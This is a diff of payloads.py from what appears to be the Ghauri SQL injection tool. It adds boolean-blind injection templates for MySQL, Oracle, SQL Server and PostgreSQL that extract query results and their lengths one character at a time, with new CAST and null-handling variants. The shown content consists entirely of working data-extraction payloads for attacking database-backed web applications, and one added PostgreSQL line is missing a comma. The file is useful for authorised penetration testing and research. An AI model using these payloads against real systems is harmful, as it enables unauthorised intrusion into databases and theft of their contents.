■ ■ ■ ■ ■ ■
ghauri/common/payloads.py
skipped 34 lines 35 35 "MySQL": [ 36 36 "ORD(MID(LENGTH({query}),{position},1))={char}", 37 37 "ORD(MID(IFNULL(LENGTH({query}),0),{position},1))={char}", 38 + "ORD(MID(IFNULL(CAST(LENGTH({query}) AS NCHAR),0),{position},1))={char}", 38 39 ], 39 40 "Oracle": [ 40 41 "ASCII(SUBSTRC(LENGTH({query}),{position},1))={char}", 41 42 "ASCII(SUBSTRC(NVL(LENGTH({query}),0),{position},1))={char}", 43 + "ASCII(SUBSTRC(NVL(CAST(LENGTH({query}) AS VARCHAR(4000)),0),{position},1))={char}", 42 44 ], 43 45 "Microsoft SQL Server": [ 44 46 "UNICODE(SUBSTRING(LTRIM(STR(LEN({query}))),{position},1))={char}", 45 47 "UNICODE(SUBSTRING(LEN({query}),{position},1))={char}", 48 + "UNICODE(SUBSTRING(ISNULL(CAST(LEN({query}) AS NVARCHAR(4000)),0),{position},1))={char}", 46 49 ], 47 50 "PostgreSQL": [ 48 - "ASCII(SUBSTRING(LENGTH({query}::text)::text FROM {position} FOR 1))={char}" 51 + "ASCII(SUBSTRING(LENGTH({query}::text)::text FROM {position} FOR 1))={char}", 52 + "ASCII(SUBSTRING(COALESCE(LENGTH({query})::text,CHR(48))::text FROM {position} FOR 1))={char}" 53 + "ASCII(SUBSTRING(COALESCE(CAST(LENGTH({query})::text AS VARCHAR(10000))::text,CHR(32))::text FROM {position} FOR 1))={char}", 49 54 ], 50 55 } 51 56 52 57 DATA_EXTRACTION_PAYLOADS = { 53 58 "MySQL": { 54 - "ASCII ": "ORD(MID({query},{position},1))={char}", 55 - "ASC ": "ORD(MID(IFNULL({query},0x20),{position},1))={char}", 59 + "no - cast ": "ORD(MID({query},{position},1))={char}", 60 + "isnull ": "ORD(MID(IFNULL({query},0x20),{position},1))={char}", 61 + "cast": "ORD(MID(IFNULL(CAST({query} AS NCHAR),0x20),{position},1))={char}", 56 62 # "CHAR": "MID({query},{position},1)=CHAR({char})", 57 63 }, 58 64 "Oracle": { 59 - "ASCII ": "ASCII(SUBSTRC({query},{position},1))={char}", 60 - "ASC ": "ASCII(SUBSTRC(NVL({query},CHR(32)),{position},1))={char}", 65 + "no - cast ": "ASCII(SUBSTRC({query},{position},1))={char}", 66 + "isnull ": "ASCII(SUBSTRC(NVL({query},CHR(32)),{position},1))={char}", 67 + "cast": "ASCII(SUBSTRC(NVL(CAST({query} AS NVARCHAR(4000)),CHR(32)),{position},1))={char}", 61 68 # "CHAR": "SUBSTR({query},{position},1)=CHR({char})", 62 69 }, 63 70 "Microsoft SQL Server": { 64 - "ASCII ": "UNICODE(SUBSTRING({query},{position},1))={char}", 65 - "ASC ": "UNICODE(SUBSTRING(ISNULL({query},' '),{position},1))={char}", 71 + "no - cast ": "UNICODE(SUBSTRING({query},{position},1))={char}", 72 + "isnull ": "UNICODE(SUBSTRING(ISNULL({query},' '),{position},1))={char}", 73 + "cast": "UNICODE(SUBSTRING(ISNULL(CAST({query} AS NVARCHAR(4000)),' '),{position},1))={char}", 66 74 # "CHAR": "SUBSTRING({query},{position},1)=CHAR({char})", 67 75 }, 68 76 "PostgreSQL": { 69 - "ASCII ": "ASCII(SUBSTRING({query}::text FROM {position} FOR 1))={char}", 70 - "ASC ": "ASCII(SUBSTRING((COALESCE({query}::text,CHR(32)))::text FROM {position} FOR 1))={char}", 77 + "no - cast ": "ASCII(SUBSTRING({query}::text FROM {position} FOR 1))={char}", 78 + "isnull ": "ASCII(SUBSTRING((COALESCE({query}::text,CHR(32)))::text FROM {position} FOR 1))={char}", 79 + "cast": "ASCII(SUBSTRING((COALESCE(CAST({query} AS VARCHAR(10000))::text,CHR(32)))::text FROM {position} FOR 1))={char}", 71 80 # "CHAR": "SUBSTRING({query}::text FROM {position} FOR 1)=CHR({char})", 72 81 }, 73 82 } skipped 2002 lines